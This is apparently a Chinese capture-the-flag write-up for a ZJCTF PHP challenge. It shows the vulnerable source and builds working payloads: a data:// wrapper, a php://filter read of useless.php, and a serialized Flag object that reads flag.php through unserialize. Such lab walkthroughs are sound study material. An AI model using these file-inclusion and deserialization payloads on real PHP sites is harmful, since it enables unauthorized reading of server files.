1.代码审计
题目直接给出代码。
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
三个参数,text要我们传入welcome to the zjctf的字符,file让我们传入一个文件名包含且flag被过滤了,password让我们传入一个序列化的参数然后反序化后输出,盲猜应该是序列化后的flag.php。
2.php伪协议
出现了传文件出现了文件包含,首先考虑的就是可不可以使用php伪协议。
首先使用data伪协议写入文件welcome to the zjctf。
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
这里对字符进行了base64加密。
成功绕过第一个限制。
根据源码的提示,应该是让我们包含useless.php这个文件,通过php伪协议读取源码。
php://filter/read=convert.base64-encode/resource=useless.php
得到源码
对源码进行base64解密得到源码。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这个应该就是对flag.php进行序列化的类,new一个类进行序列化输出。
拿到序列化后的flag.php。
现在得到了我们最终的payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
getflag!